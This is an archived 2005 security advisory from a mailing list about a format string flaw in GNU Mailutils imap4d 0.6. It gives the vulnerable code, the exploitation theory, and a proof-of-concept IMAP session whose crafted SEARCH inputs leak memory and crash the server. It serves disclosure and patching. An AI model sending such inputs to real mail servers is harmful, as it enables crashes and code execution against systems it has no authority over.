[UNIX] GNU Mailutils imap4d 'search' Format String Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 09/15/05

  • Next message: SecuriTeam: "[EXPL] GNU Mailutils imap4d 'search' Format String (Exploit)" 
    To: list@securiteam.com
Date: 15 Sep 2005 12:22:42 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      GNU Mailutils imap4d 'search' Format String Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.gnu.org/software/mailutils/mailutils.html> GNU Mailutils is
    a collection of mail-related utilities."

    Lack of proper string validation allow attacker to execute arbitrary code
    using format string attack in GNU Mailutils imap4d.

    DETAILS

    Vulnerable Systems:
     * GNU Mailutils imap4d version 0.6

    The imap4d server allows remote users to retrieve e-mail via the Internet
    Message Access Protocol, Version 4rev1 as specified in
    <ftp://ftp.rfc-editor.org/in-notes/rfc3501.txt> RFC3501. This is a
    client/server protocol supported by a large number of e-mail clients on
    multiple platforms.

    The vulnerability specifically exists in the handling of SEARCH commands
    supplied by the remote user. If a search is made containing format
    specifiers (such as %p or %s), these will be interpreted by the server,
    and returned to the user.

    Vulnerable Code:
    search.c, lines 198-199:
    rc = imap4d_search0 (arg, 0, buffer, sizeof buffer);
    return util_finish (command, rc, buffer);

    The vulnerability specifically occurs because the util_finish() function
    expects a format specifier in the 3rd argument, followed by any arguments
    to be formatted. Without a specifier, the function interprets the 3rd
    argument as a format specifier.

    Exploitation could allow authenticated remote attackers to execute
    arbitrary commands on an affected system as the authenticated user. This
    may allow access to systems not intended to have interactive users, which
    could allow further compromise. Using format specifiers, it is possible to
    construct a sequence of commands that cause arbitrary values to be written
    to arbitrary locations, allowing arbitrary code execution.

    Proof of Concept:
    sh-2.05b$ netcat 192.168.0.1 143
    * OK IMAP4rev1
    1 LOGIN "user" "password"
    1 OK LOGIN Completed
    2 SELECT "inbox"
    * 23 EXISTS
    * 0 RECENT
    * OK [UIDVALIDITY 1118516013] UID valididy status
    * OK [UIDNEXT 24] Predicted next uid
    * OK [UNSEEN 1] first unseen messsage
    * FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
    * OK [PERMANENTFLAGS (\Answered \Deleted \Seen)] Permanent flags
    2 OK [READ-WRITE] SELECT Completed
    3 SEARCH TOPIC %08x.%08x.%08x.%08x
    3 BAD SEARCH Unknown search criterion (near
    00000040.6e6b6e55.206e776f.72616573)
    4 SEARCH TOPIC %s%s%s
    sh-2.05b$

    The result of the 'SEARCH TOPIC %08x.%08x.%08x.%08x' command contains
    values from the error string supplied to the output function. (6e6b6e55
    converts to 'Unkn', 206e776f converts to 'own ' and 72616573 converts to
    'sear'.) By referencing the values after the fixed string in the error
    message, which are under control of the attacker, and using the '%n'
    format specifier, controllable values can be written to arbitrary memory
    locations, allowing execution of arbitrary code.

    The '%s%s%s' format specifier attempts to treat the first 3 values
    (0x00000040, 0x6e6b6e55 and 0x206e776f) as strings, and causes an access
    violation error, terminating the server connection, dropping the user back
    into their shell. The main server is still active, as the server forks a
    new copy for each connection. This allows multiple exploitation attempts.

    Vendor Status:
    The vendor has release a patch available at:
    <http://savannah.gnu.org/patch/download.php?item_id=4407&item_file_id=5160> http://savannah.gnu.org/patch/download.php?item_id=4407&item_file_id=5160

    Disclosure Timeline:
    09/08/2005 - Initial vendor notification
    09/09/2005 - Initial vendor response
    09/09/2005 - Coordinated public disclosure

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:idlabs-advisories@lists.idefense.com> iDEFENSE Labs Security
    Advisories .
    The original article can be found at:
    <http://www.idefense.com/application/poi/display?id=303&type=vulnerabilities&flashstatus=true> http://www.idefense.com/application/poi/display?id=303&type=vulnerabilities&flashstatus=true
    The vendor advisory can be found at:
    <http://savannah.gnu.org/patch/index.php?func=detailitem&item_id=4407>
    http://savannah.gnu.org/patch/index.php?func=detailitem&item_id=4407

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] GNU Mailutils imap4d 'search' Format String (Exploit)"

    Relevant Pages